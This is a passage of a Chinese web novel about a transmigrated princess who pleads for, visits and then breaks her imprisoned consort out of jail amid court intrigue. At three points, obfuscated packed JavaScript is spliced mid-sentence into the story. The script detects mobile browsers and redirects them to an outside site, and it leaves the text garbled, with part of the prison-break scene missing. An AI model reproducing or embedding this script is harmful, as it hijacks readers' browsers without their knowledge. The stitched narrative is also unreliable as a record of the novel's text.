许弋的手指不由得微微蜷曲,“冬日里那么冷,种那么许多花做什么?着凉了多不好受啊。” 萧静之将许弋的手放在脸颊边,亲昵地蹭了蹭,“这有什么要紧的,我种给殿下看的,怎么,殿下觉得不好看么?” 许弋不由得说道:“嗯,好看。” 萧静之握住许弋的手突然紧了紧,“殿下,如果,我是说如果有一天,我做了错事,殿下会把我丢掉么?” 许弋蹙了蹙眉,“我丢掉你做什么?你又能做什么错事呢?” “放心啦,别胡思乱想了,好好休息,过两天就会好了。” 许弋说罢,试图抽手,一股更大的力道传来,她失去重心,倒在了萧静之的身侧。 萧静之的眼眸湿漉漉的,仿佛要沁出水来,“殿下,别走。再陪陪我,好么?” 生病的人总是要脆弱些的,“好。”鬼使神差地,许弋答应了下来。 她知道她应该去查太学生的事,这件事和她的安排出入太大,背后应该还有别的幕后黑手,可是就这样短暂地停留一会儿,好像也没什么要紧的。 等萧静之的呼吸再次平稳下来,许弋这才蹑手蹑脚地起来,回了银安殿。 迷迷糊糊中,许弋似乎听到有人在叫她,“赵芙!快醒醒!你还睡!你再睡下去,萧静之就要没了!” 她睁开眼,只见乌纯声化作的狸花猫正在用脑袋不断拱着她的脖子,她反手将乌纯声捞了起来,举在半空中,问道:“闹什么,还让不让人睡觉了?” “赵芙!你放我下来!睡你的大头觉,你家萧静之闯大祸了你知不知道!”乌纯声蹬着后腿。 “不是我说,这北燕质子看着文文静静的,下起手来当真是不含糊,对着宁术割的喉管就切了下去,也得亏宁术割眼疾手快,不然他早就一命呜呼了。” 许弋越听越不对劲,“嗯?你胡说什么?萧静之昨晚一直和我在一起。” 乌纯声一抓拍到了她脸上,“怎么可能,昨晚都驿亭夜宴,他扮作倒酒的小厮行刺去了。” “我不相信。”许弋裹上外袍,套上鞋,一口气冲向了嘉文殿。 嘉文殿内,“呼啦”一声,门扉大开,寒风入室,轻纱舞动,床榻上空落落的,并无半分人影,荼蘼花的花瓣散落,被风席卷着飘到了许弋脚边。 “殿下,是幻影术。”乌纯声竖起长长的尾巴,绕着床边走了两圈,“看样子,萧静之大概三天前就不在这里了。” “那他现在在哪里?”许弋蓦地感觉心中被挖掉了一大块,他骗过了府里的医官、女官、禁卫,他真的去行刺去了吗?为什么不相信她…… “他刺杀金国使臣未遂,被大理寺的人抓了丢到牢里,现在正在被上刑。”乌纯声跳回许弋身边,冷声道。 “什么!上刑?!”她最害怕的事还是发生了,“大理寺卿不知道他的身份么?!” “萧静之口口声声自称他是名叫回离保的北燕酒贩子,但大理寺卿郭白真也曾参加过不少宫宴,就凭萧静之那张脸,又岂能骗了他去?” “他故意隐瞒身份,反而遭受了更加惨烈的严刑拷打……” 许弋心中一颤,她几乎都不敢想,“走,去大理寺。” 乌纯声连忙追上许弋的脚步,“殿下快入宫,案件详情已经送入了宫内,要救萧静之还是要看陛下如何决断。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13879157|146155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好,我去求阿姐。”说罢,许弋又有些泄气,“可是阿姐她昨夜刚刚把我赶出宫来,今日又岂会轻易见我?” “殿下,你先去!陛下若不愿见你,我们再另想办法。” “左右萧静之现在是叫回离保,实在不行,我们多费点功夫,偷梁换柱把他偷出来!”乌纯声抖着胡子道。 **** 崇政殿内,许弋坐立不安,她在心中盘算着一套套应对赵凝的话术,又一次次推翻重来。 赵凝如此心计,不会不知道回离保就是萧静之的,赵凝肯见她已经是意外之喜了,只是她到底要怎么求才好呢? “芙儿,怎么才出宫,都没在王府好好和夫君们聚一聚,就又跑回来了?” 在两个小黄门的搀扶下,赵凝缓缓走上了大殿,她微微摆了摆手,侍从女官先后退出,殿上只余她们二人。 “阿姐,芙儿听说有个不要命的刺客,昨晚去都亭驿剌了金使一刀,芙儿怕阿姐着急生气,特地进宫来看阿姐的。”许弋斟酌着语气道。 “哦,你说的是这件事啊。”赵凝挽了挽袖子,端起案上的酒盏道,“这宁术割的命倒也没丢么,朕也没什么好生气的。” “只不过这位名叫回离保的刺客真是好大的胆子,他这一刀下去,我大昭为了给金国赔罪,可是一口气给出去了一千两白银啊。” 许弋身子一抖,扑通一声跪在了地上。 “萧静之自是罪该万死,但还请陛下念在他是北燕质子的份上,绕过他一命吧。微臣以后一定对他严加管教,不让他再去惹什么祸事。” 赵凝转了转酒盏,冷笑一声道,“我们是在说北燕的酒贩子回离保吧,又关他们尊贵的质子萧静之什么事呢?” 许弋心道不好,赵凝是铁了心要萧静之的命了,她心中一横道,“陛下若是执意要取萧静之的性命,就把微臣的性命也拿去吧!” “胡闹!”赵凝心中的怒火终于压抑不住了,她“砰”得将酒盏砸到了案上,“赵芙啊赵芙!甘愿为一个男人丢了性命,你就这点出息吗?” “你以为朕让你回府是为了什么,还不是为了让你看好萧静之!结果你看看你,连个人都看不住!” 许弋把心一横,“阿姐说的是,千错万错都是微臣的错,萧静之若是出了什么事,微臣绝不独活!” “你真是,真是要气死我吗你!”赵凝只觉一股火气从心底直冲她的脑门,她猛得站起来,拾起案上的酒盏对着许弋掷了过去。 许弋眼看着酒盏砸下来,愣是闭上眼睛躲也不敢多躲。 “哐啷”一声,白玉酒盏再大理石地面上应声而碎,许弋右侧额角一痛,温热的液体混合着冰凉的酒水从她的额边缓缓流下。 “芙儿你!你怎么不躲!”赵凝向着台下疾行了两步,急色道。 许弋抹了抹额头道,“是芙儿大意,没有看好萧静之,他闯了那么大的祸,芙儿替他受点罚也是应该的,只求阿姐饶了他的性命。” 赵凝摇着头,神色失望至极,“芙儿啊,朕把萧静之许给你,便是为了拴住他的心,谁曾想到头来竟是困住了你,早知道当初还不如一直将他锁在宫里,今日这档子事也不会出了。” “阿姐……”许弋还要再说,赵凝却下了逐客令,“朕乏了,来人啊,将逍遥王请下去。” 小果子走到许弋身侧,端着她的手,将她从地上扶了起来。 赵凝看着许弋退出殿去的背影,脑海中思绪翻滚,郭白真曾谏言要严查逍遥王府。 若是细究起来,芙儿根本逃不开指使的嫌疑,只是那可是芙儿啊,她从小连蚂蚁都不舍得踩死一只,怎么能豁得出去要人的命呢。 如今她又这样理直气壮地来求萧静之的命,这事儿应该是和她没关系的。 赵凝渐渐在心中下了决断,就算是为了赵芙,回离保也绝不能是萧静之,萧静之可是她的枕边人,若是被满朝文武抓住了把柄,芙儿的爵位都要丢。 17. 夜探 深夜,银安殿。 许弋枯坐在榻前,恍惚间,她仿佛回到了穿越过来的第一晚,萧静之又跪在了她的脚边,摸着她的膝盖,引诱着她去尝他的滋味。 许弋苦涩地扯了扯嘴角,如果当时她没有推开他,他是不是就不会突然扣住她,也不会平白无故地在自己的心上剜上一刀。 他现在到底如何了? 乌纯声怎么还不来找自己? 乌纯声曾说可以把萧静之给偷出来,她倒要听听到底是怎么个偷法。 白日里出宫时,许弋本想直奔砚山洛水,但直觉告诉她,既然赵凝一直在盯着萧静之,那么她势必也一直在盯着自己。 她不能轻举妄动,刚刚给萧静之求完情就去砚山洛水,这太怪异了,她只好按下了去找乌纯声的冲动,回千机阁给他发了密令。 没曾想,这一等就是大半夜。 正当许弋烦躁地在寝殿中踱步时,鸟儿扑扇翅膀的声音传来,一只小麻雀从窗外啾啾着飞了进来,落在她的肩膀上。 “乌纯声,是你么?”许弋侧头问道。 “殿下,是我。”乌纯声歪了歪脑袋,在许弋的脸颊上蹭了蹭。 许弋托着小麻雀,把它捧在手心,正视着它道,“怎么这么许久才来?” “殿下久等了,我是去查太学生的事了。” “这件事不着急,阿姐果然不肯放过萧静之,我们得想办法……” 许弋话还没说完,刺痛感从手心传来,她不由得倒吸一口冷气,“嘶,乌纯声你干什么?!” “没干什么……”乌纯声缩了缩爪子。原来,他一听许弋提到萧静之,抬起爪子就在许弋手心狠狠抓了几下。 萧静之萧静之,满脑子都是萧静之,当真是被猪油蒙了心,连自己的事都不管了。 也不知道前日后背被撞到的地方有没有青紫。 想到这里,乌纯声竖起眼睛直直地看向许弋,“谢珉怀、叶静能他们误会殿下的事,殿下就不去管了吗?” “你怎么知道的?”许弋惊讶道,她没有和任何人说过这件事,乌纯声身上的力量可能比她想象的还要大。 “我们前脚刚刚散布消息,太学生们便集体展开了行动,迅捷得几乎不合理。再者,太学生们的请愿太过激烈,有违我们的初衷。” “今日午时,谭宜与杜子春于被推至菜市口砍头,一百多名太学生现在还被收在大理寺的牢房里,谢珉怀将此事归咎到了你的头上,我怎么能不查?” “怎么样,查出来是何人在背后指使了吗?”许弋连忙问道。这件事她原本也想去查的,可当真是有心无力,顾不过来了。 “嗯。这个人你一定想不到,是左相胡秉芮。” “他曾在太学执教多年,手底下门生无数,由他去做这件事,反倒是最容易的。” “只不过他手脚很干净,所有的文书已经全都烧掉了,我也是费了大功夫才查出来的。” “怎么会是左相?他一向替我阿姐收敛钱财,净出些苛剥百姓的损招。” “而且童贯最初提议和金国联合攻打北燕的时候,他虽然没有明说,但很明显也是支持的态度。” “可是你忘了,童贯虽然奸佞,但他从金国回来后,也转向了不可与之合作的态度。” “童贯当年任西北军监军,数次看破西楚大军诡计,这才带领我大昭成功退敌。不可否认的是,他确实眼光老辣,有着实打实的对战经验。” “你是说左相受到了童贯的影响?” “这个可能性很大。我昨夜还查了左相,胡秉芮幼时丧父,家中一贫如洗,全靠母亲忍辱负重开染坊供他读书,他才能参加科考入朝为官。” “近来有京郊丢了地的流民去他府前大骂,他八十岁的老母亲拿着藤条暴打了他一顿,气得当场昏了过去,左相或是良心发现了也未可知。” 许弋冷笑一声,“出生贫困应当更加理解百姓的苦难才对,怎么这么多年里尽是钻研如何吞没百姓的血汗钱去了。” “不管他究竟是如何想的,既然背后之人已经查出来了,你不去告诉谢珉怀吗?” 许弋沉默了片刻,而后决断道,“算了,没必要说了,他既然认定是我,我就算再多费些口舌,他又如何肯信呢。” “这件事说到底我们也做了,只是没有他们快,而且我阿姐……又确实是我劝到城楼上去的。” 乌纯声内心有些不敢相信,凭着逍遥王以往受不得半点委屈的性子,竟也肯让别人心生误会吗? “好吧,那就这样罢。你不怕他不肯再为阻止大昭和金国联合而出力了吗?” 虽然谢珉怀误会了她,但许弋却是信谢珉怀的,“想来孰轻孰重,谢大人心中自有较量,他就算恨我,也不会去恨大昭的百姓。” “好了,不说这个了。” “乌纯声你上次提到过的,我们到底要怎么做,才能把萧静之从大理寺偷出来?” “扑棱扑棱”鸟儿振翅飞动的声音传来,一个暗影从许弋面前飞了出去,许弋眼前一花,忍不住后退了半步。 等她再次看清眼前的景象时,只见乌纯声眉头紧蹙,面带怒容,他的脸上云纹颤动,隐隐有雷光乍泄。 “你就这么喜欢他,不惜要为他去做要掉脑袋的事吗?”乌纯声抓住许弋的双臂,内心又是愤怒,又是悲哀。 殿下和萧静之在宫道上相拥而吻的画面从他脑海中浮现,在他的内心掀起了一片狂风暴雨,让他久久无法平静。 “我……”许弋心中一急,竟无从辩白,她喜欢萧静之吗? 她不知道,明明最开始的时候,只是被他的美色所诱,后来不知怎么的,心就逐渐被他牵着走了。 一想到他真的会死掉,控制不住的,氤氲的水汽就从她的眼底弥漫起来。 乌纯声心中一软,扶着许弋的肩膀道:“你知不知道,郭白真正在千方百计地套萧静之的话,为的就是把你拉下水去,你现在去救他,等同于是把自己送上门去啊。” “可是我……怎么能看着他去死啊。”许弋眼眶一热,一颗豆大的泪珠便从她眼角滚了下来。 乌纯声瞬间有些慌了神,他抬起袖子,轻拭她的眼角,“别,殿下别哭。” 那样,他会心痛的。 比知道永远都等不到她,还要让他无法呼吸。 “没,我没哭。”许弋抹了把脸。 乌纯声苦笑着叹了口气,“也罢,谁让是我给殿下出的主意呢。” “只不过现在时机还未成熟,郭白真认定,萧静之能混进都驿亭,一定是因为有人在暗中相帮,他现在铁了心要挖出所有连带之人,想来萧静之暂时还能保住一条小命。” “等到金国的使者回国了,我们便去把他偷出来。” “乌纯声,我放心不下他,我想去看看他。”许弋直白道。 乌纯声静默了片刻,殿下的话语好像一把刀,在他的心上扎了一个深深的口子,如果有一天,他也陷入了如此境地,殿下也会这般牵挂他吗? 但他还是应承了下来,“好。” 眼前光影一闪,乌纯声消失不见,鸟儿再次飞到了许弋身边。许弋用手掌拖起鸟儿,将额头轻轻贴了上去。 下一瞬,视野变化,大理石地板扑面而来,屏风从耳后退去,冷月如铁,高悬夜空,原来她已飞出了银安殿。 视线转换间,一个熟悉的身影出现在了前方的小路上,转过身向她伸出了手,圣洁又安定。 “乌纯声。”许弋轻唤着他的名字,自然而然地将手递了过去。 片刻后,半个京师已然从许弋眼前掠过,大理寺已近在眼前。 飞过几座屋宇后,乌纯声向着月光下徒然而立的高墙猛冲过去,一个刹车停在了窗沿上。 许弋低头一看,只见暗牢中,月光被无情的窗栏砍成一道道碎片,在地上投下斑驳的影子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13913365|146155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一个衣衫褴褛的人影斜斜地躺在草席上,四肢被沉重的铁链缠绕,宛若一只被困的野兽。 不间断地,那人影咳出一口口的血,铁链随着他身体的起伏,发出“窸窸窣窣”的轻响。 曾经活色生香的美人,如今被折磨得遍体鳞伤,全身上下没有一处完好。 “萧静之!”许弋扑棱着翅膀飞到了他的身边。 “他们怎么可以对你用刑!他们怎么敢的!”许弋心中气愤,但说出口的只是啾啾之音。 此时,萧静之睁开了双眼,寻着声音,他转动脑袋,看到了小麻雀。 他又咳嗽了两声,艰难地侧过身,轻轻地将小麻雀拢在掌心,“殿下,是你来看我了吗?殿下?” “萧静之!你能听到我讲话吗?”许弋啾啾着惊呼道。 “他听不到的,他是在发烧。” 乌纯声也是吓了一跳,但他没有像上次那样将赵芙的魂魄放出来,萧静之应当是听不到她讲话的,唯一的可能就是他烧糊涂了。 细看过去,果然,萧静之的脸上呈现出不正常的红晕,眼神也涣散无光,黑色的火焰从中闪过,好像他的魂魄正在被烈火炙烤。 乌纯声化魂而出,他长袖一挥,大理寺牢房内的暗藏的玄机瞬间显现了出来,这里有禁术,可以腐蚀灼烧人的魂魄。 “殿下,他们都以为是你在背后指使我,要让我把你供出来,可是我没有说……” 萧静之说着,剧烈地咳嗽起来,他转过身去,带动着铁链叮当作响,身体蜷缩成了一只虾子。 “萧静之!”许弋扑棱着翅膀再次落在他的身前,她用额头轻轻蹭了蹭萧静之,他的脸颊简直烫得可怕。 “怎么办?他是不是要死了啊……” 许弋心头乱成一团,恍惚中,她似乎想起来,乌纯声身负秘术,可以让主角在关键时刻起死回生,只是她在游戏中一直都没有机会用就是了。 许弋不由得看向站在一侧的乌纯声,“乌纯声,你能不能救救他?能不能啊,求求你了。” 赵芙啊赵芙,你真的不知道你的要求有多残忍么?乌纯声看着狼狈不堪的萧静之,恨不得他现在就死掉。 但看着许弋闪烁的泪光,他还是深深吸了口气道,“好。我尽力。” 乌纯声说罢,轻抚腰间,古朴的腰鼓与铃铛先后出现,虽然以梦魂的状态施法太过冒险,可魂魄之力更为精纯也未可知。 如果他没有记错,萧静之是鲜卑宇文部奚族的后裔,他的母亲是巫女,是神巫的女儿,他身上应该也是有巫之血的,或许他没有那么容易死。 奚族一向供奉在林间奔跑的神鹿,那是他们眼中的日神,实际上召唤日神对他进行驱邪消灾是最有效的,但事急从权,风神偏爱世人,或许日神的子民他也能照拂。 乌纯声左手执箭击鼓,右手驱动腰铃,念起了古朴的巫咒,仿若在吟唱古老的歌谣。 “风神西斯林啊,还请睁开眼看看你在人间受苦受难的子民吧!他们跟随着你的脚步,却被烈火灼烧,被油斧滚烹,被刀山倾轧……” “天地不仁!何以至此!黑水一族的神巫乌纯声恳求风神,大发慈悲,为这位可怜的人儿赐下福运,赶走停留在他身上所有的灾祸与邪魅……” 恍惚间,许弋听到一阵清铃伴着鼓声,仿佛从远古传来,温暖的风从她的身边飘过,游走到萧静之的身侧,将他包裹起来,在他身上形成了一层淡淡的光晕。 做梦似的,许弋好似看见了萧静之身上的烈火,只是在光晕的包裹下,那层火焰渐渐黯淡下来,最终失去了形迹。 等她再回过神来的时候,只见萧静之闭上眼睛,十分安然地睡了过去,她又蹭了蹭他的脸颊,滚烫的温度也降了下去。 “乌纯声,多谢。”许弋喃喃道。 “嗯。走吧。”乌纯声感觉疲惫一阵阵从四肢涌上来,再不走,他和赵芙的魂魄,怕是也要交代在这里了。 18. 行动 七日后,金国使团带着大昭女帝赏赐的金银珠宝、绫罗绸缎,以及女帝对大金大圣皇帝的致书满载而归。 这一次,童贯没有在北上的队伍中,他派出了李嗣良跟着谢珉怀与原班人马共同前往会宁府。 又半月,李嗣良日夜兼程,累死了七匹马,急奔回京,带回了阿骨打亲自写下的国书与誓书。 两国联合攻打北燕的事已经板上钉钉了。 粮草运行、军队派遣、作战部署都有条不紊地陆续展开,十五万西北军正暗中向北线靠拢着,京师的军队也在全面的预备中。 正当大军集结完毕,准备挥师北上时,东南睦州,方腊揭竿而起,自号圣公,建元永乐,带领红巾军接连攻下桐庐、富阳等五州十八县,直逼杭州城。 杭州郡守弃城而逃,守将郭师中、陈建、赵约先后战死。 方腊破城后,纵火六日,城中伤亡不可胜计,一甘官员先后落马,或是被掏肠挖肚、五马分尸、烈火烹油、乱箭射死……诸般酷刑,不一而足。 迫使起义军起犯下如此暴行的,正是“朱勔”,御花园里那块神功石的搬运者。 朱勔在苏州总领应奉局,借由职务之便两头通吃。 对朝廷,他以押送花石纲为名支取大宗款项,动辄以数十百万计。 对百姓,他横征暴敛,强取豪夺,无偿征取一切能将朝廷粉饰得富丽堂皇的器物。 在苏杭一带,他营建“东南小朝廷”,作威作福,犯下的罪业数不可数,方腊正是被他逼得倾家荡产,妻离子散,这才不得不反。 赵凝气愤于被奸诈的臣子蒙了心,但乱军已起,只有镇压。 她诏童贯为江、淮、荆、浙宣抚使,带领原准备调至北线的三万西北军,于晋蕃六万雄兵汇合,一路南下,诛讨逆贼。 一波未平一波又起,红巾军尚未被诛尽,名为宋江的大盗又在海州横行霸道,蛊惑无知民众。 仅仅几个日夜,以宋江为首的盗贼集团,从三十六人的乌合之众摇身一变成为了五万人的起义大军,转掠十郡,竟打得一众官兵慌忙逃窜。 赵凝大怒,这些人安的什么心!早不起义晚不起义,偏偏要在朝廷用兵的时候起! 她命海洲知州刘蒙去招降宋江,谁曾想宋江竟把他一刀杀了。 北方的将领现下都不可动,无奈之下,赵凝只能复用樊不野,命其带领北线六万西北军,擒拿宋江。 由此,原本准备调往北线的西北军只剩下六万。 广信军的瘟乱还没有好,河间军需要管理物资调动,保定军倒是有十八万可用,各守城的兵再调一调,勉勉强强也能凑三十万,只不过到时城内守军不牢靠,怕给金国可乘之机啊。 自童贯南下后,金国使者催促大昭军队北上的书信一封接着一封传了过来,都被赵凝以各种理由按下。 但冬至前五日,阿骨打送来了最后通牒,大昭若是还不出兵,别说西京诸州,燕云十六州也别想要了! 等不及童贯回来了,赵凝大笔一挥,派老将侯益领兵出战,挥师北伐! 侯益出征这一日,几乎整个京师的百姓都从大街小巷上涌出来观仪了,听说陛下要把丢了百年的燕云十六州抢回来,这可真是振奋人心的好消息。 封丘门前,胡子花白的侯益弯下膝来,从礼官手里接下刀弓、敕印。 起身时,侯老将军膝盖一抖,差点又要跪了下去,幸亏身边的副将及时扶住了他。 老将军甩开副将的手,踉跄着脚步骑上高头大马,向着北方的战场走去了。 城楼上,许弋与百官们站在一起,目送着老将军如山一般的背影逐渐远去。 砚山楼上,乌纯声亦在远眺,他轻啸一声,招来一只小麻雀,“去,告诉逍遥王殿下,今夜丑时,大理寺偏门见。” *** 入夜,许弋身着玄色夜行衣,从马车上跃下,藏身在大理寺东南角的古树之后。 一只黑影从树上窜下,咕咕两声,攀着许弋的头发,一口咬在了她的耳廓上。 “嘶”许弋瞬间倒吸一口冷气,她伸手去扶耳朵,却发现一只松鼠哈着气窜回树上去了。 最近真的倒霉透顶,连松鼠都找她麻烦。 “什么人?” 偏门前,守卫钢刀一振,在月光下发出一片惨白的光。 “呼”“呼”几声轻响,几道石子带着风从许弋的耳后飞过,窜入了对面的灌木丛中。两个守卫连忙转身前去查看。 “走。”许弋手腕上一紧,已然被身边人带着进了大理寺的偏门。 这人蒙着脸,穿的也是夜行衣,但是通过忽隐忽现的下颌线,许弋知道,那就是乌纯声。 二人隐在清档阁的连廊下,在黑暗中露出四只眼睛,看巡逻的士兵手持长矛,来来往往,络绎不绝。 “没想到大理寺的防卫还挺严的。”许弋微微蹙眉,“我是不是也该让王府的禁卫军一道乔装过来的。” “不用这么麻烦。你府上的禁卫军,谁知道是保护你的,还是监视你的。” 乌纯声冷哼一声,松开许弋,右手往腰间摸去。 眨眼之间,乌纯声指尖金光一闪,数道薄纸片从中飞射而出。 下一瞬,七八条暗影从夜色中化身而出,向着守卫们冲杀过去。 一时间兵刃交接,杀声震天。 “那不是星宿图里的金边小人吗?!暗影卫还能这样用吗?”许弋惊异道。 “点纸成兵罢了,现在就教你。”乌纯声嘴角一扬,往许弋手里塞了把暗器,“看哪个不顺眼就丢哪个!” 许弋一低头,只见手心里躺着一堆琉璃碎片,触感仿若琉璃,厚薄不均,扎手得紧。她还没反应过来,乌纯声已经率先跑了出去。 “乌纯声,你等等我!我……我还没杀过人啊!” 许弋惊呼着追向乌纯声,在游戏里与砍瓜切菜地打小兵是一回事,在现实中要别人的命是另一回事啊! “不会死的!只是一些小幻术,让守卫误以为自己中招罢了。” 乌纯声说着,已然回身击倒了许弋身后的三个巡逻,“殿下,成大事者不拘小节,莫说只是术法了,你若是真要救萧静之……” 乌纯声撂倒一个守卫,接着道,“把这些人全杀了都不要紧。” 许弋亦步亦趋地跟在乌纯声身后,明明是她要来就萧静之的,现在反倒成为了他的累赘。 乌纯声的话如重鼓击打在她的心口,是啊,乱世之中人命如草芥,不是你死就是我亡,为了达到自己的目的,欠下几条人命又算什么呢。 暗牢门口,两个守卫看着迎面急冲而来的黑影,惊慌地拔出了长刀,乌纯声飞出两道白光,他们便闷哼一声,匍匐在地。 二人一路闯进去,许弋也发起狠来,同乌纯声一道,将守卫们打得落花流水。 “叮铃咣啷”一阵脆响,举着大刀司狱仰面倒了下去,许弋伸手一捞,便摸下了他腰下的一大串钥匙,她急急地朝着暗牢内走去,寻找着萧静之的身影。 听到此间的骚乱,太学生们纷纷走到了暗牢门口,击打着铁链,拍打着木栏。 “好心的侠士!把我们也救出吧!” “狗皇帝昏庸无道!放我出去杀了她!” “大昭要完啦!我们在这里也是等死,还不如出去拼命!” 乌纯声顺势拿下司狱手中的大刀,扛在背上,如杀神一般走进了长长的暗道内。 “哐”“哐”“哐”刀风四起,乌纯声一刀劈开一扇牢门,将这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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暗牢内的越烧越旺,滚滚黑烟从中冒出,引来一阵敲锣打鼓之声,增援的守卫们来不及顾得上捉拿逃犯,纷纷跑去救火。 在混乱中,三人跑出偏门,钻进许弋事先备好的马车里,一路疾驰而去。 许弋将萧静之平稳地放好,为他盖上毛茸茸的狐狸毯子,看着他睡过去,终于放下心来。 车架上,乌纯声稳稳地控着绳,向许弋传音道,“不能回王府,府上的禁卫军不可信。” “为何这么说?”许弋微微蹙眉,那三百禁卫军,难道是阿姐派来监视她,亦或者……是来囚禁她的? “此前你急着救萧静之,有件事我一直没和你说。” “暗影卫早就帮禁卫军找到了意图暗杀你的刺客,但是裴谌却三番五次地放过他,放任他在烟市子继续躲躲藏藏。” “你是说……裴谌是童贯的人?但童贯现在也是反对攻打北燕的,他是不是不会再杀我了?” 乌纯声的面色沉下来,摇了摇头。 电光火石般的,一个念头从许弋脑海中闪过,她……她简直不敢相信。 “我查了裴谌,他家祖上三代都和童贯毫无关系,他是你阿姐……”乌纯声不忍道。 “别再说了!”许弋突然很崩溃,那些什么姐妹情深,什么临终托孤般的话语,都是她阿姐演出来的吗?!!! “你冷静一点,总之你不能带萧静之回王府,你有没有私宅?”乌纯声看着将要情绪失控的许弋说道。 私宅么?许弋隐约记得,赵芙是有的,“走,去汴河大街!” 19. 缠绵 冬至前三日,傍晚,汴河大街与甜水巷交叉口。 绒毛似的雪花轻柔地从空中飘落,落在小院中,化作梅花瓣儿上的水滴,滴落下来,染深了石板路的颜色。 踏着石板,许弋走过小院,轻轻推开了眼前的房门。赵凝又诏她入宫,也不知道这一次她要在里面待多久,她必须在入宫前再看萧静之一眼。 房间内覆盖着一层薄薄的的水汽,湿冷得紧,打扫得倒是很清通,但是因为没有人气,整个宅子都散发着阴冷的味道,到底是比不上王府。 “哔啵”一声,烧黑的木炭裂开了一道红痕,氤氲的热气上浮,冲散了一些冷凝的空气。 许弋驻足在炭盆前,往里重新添了几块碳,这才绕过屏风,向着内寝走去。 “殿下……咳……咳。”萧静之见许弋前来,撑着手试图从床上坐起来。 许弋连忙按住他的肩膀,“不必多礼,我就是来看看你。” 萧静之已经在这里修养了多日,就是好得很慢,许弋还特地问了乌纯声,但他说风神的祝祷已经降下,反复求索只会惹得神明发怒。 “殿下每日都来看我,不嫌麻烦吗?”萧静之长长得睫毛垂下来,眼神失焦,并不去看许弋。 “不麻烦,就是本王的好名声全都赔进去了。”许弋玩笑道。 她每日坐王府的马车去砚山洛水,再从那里的后门蹭脚夫运货的大车来汴河大街。 京师疯传,逍遥王家的美貌侧妃身患重病,女王爷却日日在砚山流连忘返,当真是又风流又无情了。 萧静之苦笑一声,“都是我累及殿下了,殿下其实不必救我的……” 许弋气急,她可是寝食难安地忧心了大半个月,费了九牛二虎之力才把他从大理寺里捞出来的,他一句话就想把她给打发了? 怒从心头起,许弋抬手狠狠地捏住了萧静之的下巴,迫使他看着自己,“萧静之,你给我听好了,你再说这样的话,小心我……小心我……” 威胁的话到了嘴边,许弋手上的力气却渐渐松了下去,他不期待着她的话,她又能把他怎么样呢? “殿下待如何呢?”当许弋要松手时,萧静之反手握住了她。 他轻轻地把她的手捧在胸前,好像捧着什么绝世珍宝,“殿下不怨恨我的欺瞒,不追究我的任意妄为吗?” 许弋一俯身,左手撑在萧静之身边,右手从他掌心撤出,在他的锁骨上轻轻摩挲着:“谁说我不计较的?” “你没有听说过吗?逍遥王骄奢淫逸,最好男色。萧静之啊萧静之,你欠我的,以后有一辈子可以慢慢还。” “好。”萧静之微微一笑,将许弋的手按在胸膛上。 “我萧静之,从头到脚,从里到外,每一寸皮肤,每一滴血液,都是殿下的。殿下若是要是想从我这里要什么,尽管拿去。”萧静之说着,拉着许弋的手就向下滑去。 他去刺杀宁术割的时候就已经抱着必死的决心了,如今可以再见到心爱的人,他自然心生欢愉,他贪婪地想索取更多,也惶恐地怕失去更多。 “不行,你身体还没好。”萧静之的话听起来好烫,许弋连忙收回了手站了起来。 “我明日又要进宫,这下不知何时才能来看你了,你也要好好吃饭,好好休养,记住了没有?” 想起老管家说他一开始不喝药,不吃饭的样子,许弋心中总是有种隐约的不安,好歹他见到自己后算是乖巧。 “咳……咳……”萧静之只觉得身前一空,一股冷风便钻了过来。 他到底昏睡了多久?是不是要冬至了?她是不是要进宫参加郊天大礼了? 萧静之的目光追随紧紧追随着许弋,胸口有什么东西要呼之欲出,殿下,不能去啊殿下!但他到底什么都说不出来。 怎么又咳起来了,许弋环顾四周,皱着眉头忙碌起来,她将炭盆搬到了床边,又从柜子里翻出一张毛茸茸的毯子抱了过来。 为萧静之整理好毯子,许弋拍了拍手道,“那我就先回府啦。” “殿下!别走……我舍不得你。”萧静之伸出手腕,紧紧地抓住了许弋的袖口。 许弋低下头,只见萧静之的手腕整整瘦了一整圈,皮包骨头似的,惹得她心头一阵怜惜。 她按住他的手,将他的手重新放回了毯子里。 不知是不是炭火烧得太旺,惹得许弋的脸也烧起来,她重新在床边坐下,“好,我再多留一会儿。” 萧静之揽住许弋的腰,蜷缩身体,将脑袋埋在了她的腰间,闷声道,“只一会儿怎么够,今晚别走了,好不好。” 许弋摸着萧静之柔软的头发,情不自禁地应道,“好。” 次日,晨,冬日里的阳光从窗户外慵懒地洒进来。 许弋睁开前,看着萧静之的睡颜,感受着他轻柔的呼吸,她还躺在他的怀里,他的手还放在她的腰间,她的脚趾还踩在他的小腿骨上。 如果就这样和心爱的人一起长眠不醒,好像也是一件幸福的事。 天光大亮,阳光变得更加猛烈了,许弋回过神,心道要糟,今日要是迟了可不是闹着玩的。 她连忙轻手轻脚地从被窝里爬出来,穿戴起来。 萧静之又捉住了她的下摆,用略带嘶哑地嗓音说道,“要入宫了吗?” “嗯。”许弋回过身来,在萧静之的额间轻轻一吻,“今日不可迟到。” 